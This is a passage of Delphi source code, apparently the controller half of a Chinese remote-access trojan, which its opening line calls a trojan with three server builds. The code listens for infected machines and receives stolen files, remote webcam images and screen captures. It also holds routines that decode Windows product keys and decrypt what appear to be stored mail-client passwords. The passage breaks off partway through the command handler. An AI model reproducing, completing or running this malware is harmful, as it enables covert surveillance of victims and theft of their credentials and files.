untmain.pas

由于该木马有三个服务端可以选择生成

unit untMain;

interface

uses
  Windows, Messages,SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs,StdCtrls, Buttons,winsock, ScktComp, ComCtrls,untTQQWry,
  Menus,unit1,unit2,unit3,unit4,unit5,unit6,unit7,unit9,IniFiles,mmsystem,
  ExtCtrls, AppEvnts, MSNPopUp, TrayIcon,unit10,unit11,unit12,ImgList,WinSkinData,Scanf_c;

type
  TfrmMain = class(TForm)
    SinSrv: TServerSocket;
    Label2: TLabel;
    sinsrvs: TListView;
    Edit1: TEdit;
    SpeedButton1: TSpeedButton;
    SpeedButton2: TSpeedButton;
    Label1: TLabel;
    StatusBar1: TStatusBar;
    SpeedButton3: TSpeedButton;
    SpeedButton4: TSpeedButton;
    SpeedButton5: TSpeedButton;
    PopupMenu1: TPopupMenu;
    N4: TMenuItem;
    SpeedButton6: TSpeedButton;
    ApplicationEvents1: TApplicationEvents;
    MSNPopUp1: TMSNPopUp;
    TrayIcon1: TTrayIcon;
    N3: TMenuItem;
    Edit2: TEdit;
    N12: TMenuItem;
    N1: TMenuItem;
    N8: TMenuItem;
    N5: TMenuItem;
    Edit3: TEdit;
    SpeedButton7: TSpeedButton;
    N10: TMenuItem;
    Ping1: TMenuItem;
    SkinData1: TSkinData;
    procedure SpeedButton1Click(Sender: TObject);
    procedure SpeedButton2Click(Sender: TObject);
    procedure SinSrvClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure SinSrvClientError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure SpeedButton4Click(Sender: TObject);
    procedure SpeedButton5Click(Sender: TObject);
    procedure N4Click(Sender: TObject);
    procedure SpeedButton3Click(Sender: TObject);
    procedure SpeedButton6Click(Sender: TObject);
    procedure ApplicationEvents1Minimize(Sender: TObject);
    procedure ApplicationEvents1Restore(Sender: TObject);
    procedure N3Click(Sender: TObject);
    procedure sinsrvsDblClick(Sender: TObject);
    procedure N8Click(Sender: TObject);
    procedure N1Click(Sender: TObject);
    procedure SinSrvAccept(Sender: TObject; Socket: TCustomWinSocket);
    procedure N5Click(Sender: TObject);
    procedure SpeedButton7Click(Sender: TObject);
    procedure sinsrvsAdvancedCustomDrawItem(Sender: TCustomListView;
      Item: TListItem; State: TCustomDrawState; Stage: TCustomDrawStage;
      var DefaultDraw: Boolean);
    procedure N10Click(Sender: TObject);
    procedure Ping1Click(Sender: TObject);
  private
    { Private declarations }
  public
   socket:integer;
  end;
var
  frmMain: TfrmMain;
  QQWry: TQQWry;
  x,y:string;
  kai,jie:dword;
implementation

{$R *.dfm}
Function IPAddr(s:string):string;
var
IPRecordID: int64;
slIPData: TStringlist;
begin
if not Fileexists(ExtractFilePath(paramstr(0))+'ipdata\QQwry.dat') then
result:=' ' else
begin
QQWry:=TQQWry.Create(ExtractFilePath(paramstr(0))+'ipdata\QQwry.dat');
IPRecordID:=QQWry.GetIPDataID(s);
slIPData:=TStringlist.Create;
QQWry.GetIPDataByIPRecordID(IPRecordID, slIPData);
QQWry.Destroy;
result:=slIPData[2]+slIPData[3];
slIPData.Free;
end;
end;
function lastpos(C: Char;S: string): Integer;
var
  I: Integer;
begin
  Result := 0;
  for I := Length(S) downto 1 do
  if S[I] = C then
  begin
    Result := I;
    Break;
  end;
end;
procedure TfrmMain.SpeedButton1Click(Sender: TObject);
begin
sinsrv.Port:=strtoint(edit1.text);
speedbutton1.Enabled:=false;
speedbutton2.enabled:=true;
speedbutton5.Enabled:=true;
SinSrv.Active:=True;
statusbar1.panels[0].text:='正在'+edit1.text+'端口监听.';
statusbar1.panels[1].text:='';
popupmenu1.autopopup:=true;
end;
procedure TfrmMain.SpeedButton2Click(Sender: TObject);
begin
speedbutton1.Enabled:=true;
speedbutton2.Enabled:=false;
speedbutton5.Enabled:=false;
SinSrv.Active:=False;
sinsrvs.Clear;
statusbar1.panels[0].text:='端口监听已经停止.';
statusbar1.panels[1].text:='空闲中...';
popupmenu1.autopopup:=false;
end;
Function EncryptText(Text: String): String;
Var
  I     :Word;
  C     :Word;
Begin
  Result := '';
  For I := 1 To Length(Text) Do
    Begin
      C := Ord(Text[I]);
      Result := Result + Chr((C Xor 12));
    End;
End;
Function IsNum(S: String): Bool;
Var
  I: Word;
Begin
  If S = '' Then
  Begin
    Result := False;
    Exit;
  End;
  Result := True;
  For I := 1 To Length(S) Do
    If Pos(S[I], '0123456789')=0 Then
    Begin
      Result := False;
      Break;
    End;
End;
function sscanf(Str : PChar; Format : PChar; Pointers : array of Pointer): Integer;
begin
  Sscanf := Scanf_core(Str, Format, Pointers);
  if (Result = 0) and (Str^=#0) then Result:=scEOF;
end;
function DecodeProdKey(des,src: PChar; dlen,slen: Integer): Integer;
const   digits:     PChar = 'BCDFGHJKMPQRTVWXY2346789';
var     i:          Integer;
        n:          Integer;
        _hi:        Integer;
        _low:       Integer;
        value:      Integer;
begin
  ZeroMemory(des, dlen);
  for i:=Pred(dlen) downto 0 do
  begin
     if (((i+1) mod 6) = 0) then
     begin
        des[i]:='-';
        des[dlen]:=#0;
     end
     else
     begin
        n:=slen-1;
        _hi:=0;
        repeat
           _low:=Ord(src[n]);
           value:=_hi shl 8;
           value:=value or _low;
         // This makes no sense ??? 2 assigments
         //  src[n]:=Chr(value mod 24);
           src[n]:=Chr(value div 24);
           _hi:=value mod 24;
           dec(n);
        until (n < 0);
        des[i]:=digits[value mod 24];
        des[dlen]:=#0;
     end;
  end;
  result:=0;
end;
function jmfox(Str:String):String;
const
 PasswordKey='~draGon~';
var
 cryptograph:String;
 proclaimed :string;
 ArrCryptB:array of byte;
 ArrCryptC:array of byte;
 ip,TempLen:integer;
 PassLen:integer;
begin
 Cryptograph:=Str;
 Result:='';
 if (length(cryptograph)mod 2)<>0 then
 exit;
 TempLen:=length(cryptograph) div 2;
 setlength(ArrCryptB,TempLen);
 for ip:=0 to TempLen-1 do
 ArrCryptB[ip]:=StrtoInt('$'+Copy(cryptograph,ip*2+1,2));
 PassLen:=TempLen-1;
 setlength(ArrCryptC,PassLen);
 for Ip:=0 to PassLen-1 do
 ArrCryptC[Ip]:=ArrCryptB[Ip];
 ArrCryptC[0]:=$5a xor ArrCryptB[0];
 for Ip:=0 to PassLen-1 do
  begin
  TempLen:=(Ip Mod Length(PassWordKey)) +1  ;
  ArrCryptB[ip]:=ArrCryptB[ip+1] xor Byte(PasswordKey[TempLen]);
  end;
 for Ip:=0 to PassLen-1 do
 begin
 if ArrCryptB[ip]>ArrCryptC[Ip] then
 ArrCryptB[Ip]:=ArrCryptB[Ip]-ArrCryptC[Ip]
 else
 ArrCryptB[Ip]:=ArrCryptB[Ip]+ $ff -ArrCryptC[Ip];
 end;
 SetLength(Proclaimed,PassLen);
 StrMove(Pchar(Proclaimed),@ArrCryptB[0],Passlen);
 Result :=Proclaimed;
end;
function RtlDeCompressBuffer(CompressionFormatAndEngine:ULONG; DestinationBuffer: Pointer; DestinationBufferLength: ULONG; SourceBuffer: Pointer; SourceBufferLength: ULONG;
                             pDestinationSize: PULONG): Cardinal; stdcall; external 'ntdll.dll' name 'RtlDecompressBuffer';
function DecompressMemory(lpMemory: Pointer; var Size: Cardinal): Pointer;
var
  lpOutput: Pointer;
  dwTemp, dwOutputSize: DWORD;
begin
  Result := nil;
  dwOutputSize := Round(Size * 12.5);
  lpOutput := VirtualAlloc(nil, dwOutputSize, MEM_COMMIT, PAGE_READWRITE);
  if lpOutput <> nil then
  begin
    begin
      dwTemp := 0;
      RtlDecompressBuffer($00000002, lpOutput, dwOutputSize, lpMemory, Size, @dwTemp);
      if dwTemp <> 0 then
      begin
        Size := dwTemp;
        Result := lpOutput;
      end;
    end;
  end;
end;
function DecompressFile(lpFilename, lpOutputfile: String): Boolean;
var
  hFileIn, hFileMappingObjectIn,
  hFileOut: THandle;
  dwFileSize, lpNumberOfBytesWritten: DWORD;
  lpBaseAddressIn, lpBuffer: Pointer;
begin
  Result := False;
  hFileIn := CreateFile(PChar(lpFilename), GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_ALWAYS, 0, 0);
  if hFileIn = INVALID_HANDLE_VALUE then
    Exit;
  dwFileSize := GetFileSize(hFileIn, nil);
  hFileMappingObjectIn := CreateFileMapping(hFileIn, nil, PAGE_READWRITE, 0, 0, nil);
  lpBaseAddressIn := MapViewOfFile(hFileMappingObjectIn, FILE_MAP_READ or FILE_MAP_WRITE, 0, 0, 0);
  lpBuffer := DecompressMemory(lpBaseAddressIn, dwFileSize);
  hFileOut := CreateFile(PChar(lpOutputfile), GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, CREATE_ALWAYS, 0, 0);
  if hFileOut <> INVALID_HANDLE_VALUE then
  begin
    WriteFile(hFileOut, lpBuffer^, dwFileSize, lpNumberOfBytesWritten, nil);
    CloseHandle(hFileOut);
  end;
  VirtualFree(lpBuffer, 0, MEM_RELEASE);
  UnmapViewOfFile(lpBaseAddressIn);
  CloseHandle(hFileMappingObjectIn);
  CloseHandle(hFileIn);
end;
procedure TfrmMain.SinSrvClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
Cmd,s:String;
a,b,c,d,e:integer;
view:TListItem;
f,byteswritten:dword;
fbuf:array[0..2047] of char;
len:integer;
p:pointer;
plain_pk: array[0..32] of char;
cryp_pk: array[0..15] of char;
begin
fillchar(fBuf,2048,0);
len:=recv(socket.SocketHandle,fbuf,2048,0);
if len<=0 then exit;
Case strtoint(edit2.Text) of
 0:   begin
      b:=CreateFile(pchar(form2.Edit6.Text),GENERIC_WRITE,FILE_SHARE_WRITE,
      nil,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
      SetFilePointer(b,0,nil,FILE_END);
      WriteFile(b,fBuf,len,BytesWritten,nil);
      a:=getfilesize(b,nil);
      form2.StatusBar3.Panels[0].Text :='正在下载文件... '+
      inttostr(a*100 div strtoint(form2.Edit3.Text))+'%';
      closehandle(b);
      if a>=strtoint(form2.Edit3.Text) then
      begin
      edit2.text:='6';
      form2.StatusBar3.Panels[0].Text :='文件下载完毕.';
      end;
      end;
 1:   begin
      b:=CreateFile(pchar(form2.Edit6.Text),GENERIC_WRITE,FILE_SHARE_WRITE,
      nil,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
      SetFilePointer(b,0,nil,FILE_END);
      WriteFile(b,fBuf,len,BytesWritten,nil);
      a:=getfilesize(b,nil);
      form2.StatusBar1.Panels[0].Text :='正在下载文件... '+
      inttostr(a*100 div strtoint(form2.Edit3.Text))+'%';
      closehandle(b);
      if a>=strtoint(form2.Edit3.Text) then
      begin
      edit2.text:='6';
      form2.StatusBar1.Panels[0].Text :='文件下载完毕.';
      end;
      end;
 2:   begin
      b:=CreateFile(pchar(form10.Edit2.text),GENERIC_WRITE,
      FILE_SHARE_WRITE, nil,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
      SetFilePointer(b,0,nil,FILE_END);
      WriteFile(b,fBuf,len,BytesWritten,nil);
      a:=getfilesize(b,nil);
      form10.StatusBar1.Panels[0].Text :='正在接收远程视频信息... '+
      inttostr(a*100 div strtoint(form10.Edit1.Text))+'%';
      closehandle(b);
      if a>=strtoint(form10.Edit1.Text) then
      begin
      DecompressFile(form10.Edit2.text,form10.Edit3.text);
      while not fileexists(form10.Edit3.text) do
      sleep(100);
      form10.Image1.Picture.LoadFromFile(form10.Edit3.text);
      edit2.text:='6';
      form10.StatusBar1.Panels[0].Text :='远程视频信息接收完毕.';
      deletefile(pchar(form10.Edit2.text));
      form10.N1.Enabled:=true;
      end;
      end;
 3:   begin
      b:=CreateFile(pchar(form11.Edit2.text), GENERIC_WRITE,
      FILE_SHARE_WRITE, nil,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
      SetFilePointer(b,0,nil,FILE_END);
      WriteFile(b,fBuf,len,BytesWritten,nil);
      a:=getfilesize(b,nil);
      form11.StatusBar1.Panels[0].Text :='正在接收远程屏幕信息... '+
      inttostr(a*100 div strtoint(form11.Edit1.Text))+'%';
      closehandle(b);
      if a>=strtoint(form11.Edit1.Text) then
      begin
      DecompressFile(form11.Edit2.text,form11.Edit3.text);
      while not fileexists(form11.Edit3.text) do
      sleep(100);
      form11.Image1.Picture.LoadFromFile(form11.Edit3.text);
      edit2.text:='6';
      form11.StatusBar1.Panels[0].Text :='远程屏幕信息接收完毕.';
      form11.StatusBar1.Visible:=false; 
      deletefile(pchar(form11.Edit2.text));
      form11.N1.Enabled:=true;
      end;
      end;
 4:   begin
      s:=encrypttext(fbuf);
      form9.memo1.Text:=form9.memo1.Text+s;
      if copy(s,length(s),1)='|' then
      begin
      form9.ListBox1.Items.Text:=form9.Memo1.Text ;
      for a:=0 to form9.listbox1.count-2 do
      begin
      c:=pos(']',form9.listbox1.items[a]);
      view:=form9.ListView4.Items.add;
      view.Caption:=copy(form9.listbox1.items[a],1,c-1);
      view.SubItems.Add(Copy(form9.listbox1.Items[a],c+1,length(form9.listbox1.Items[a])-c-1));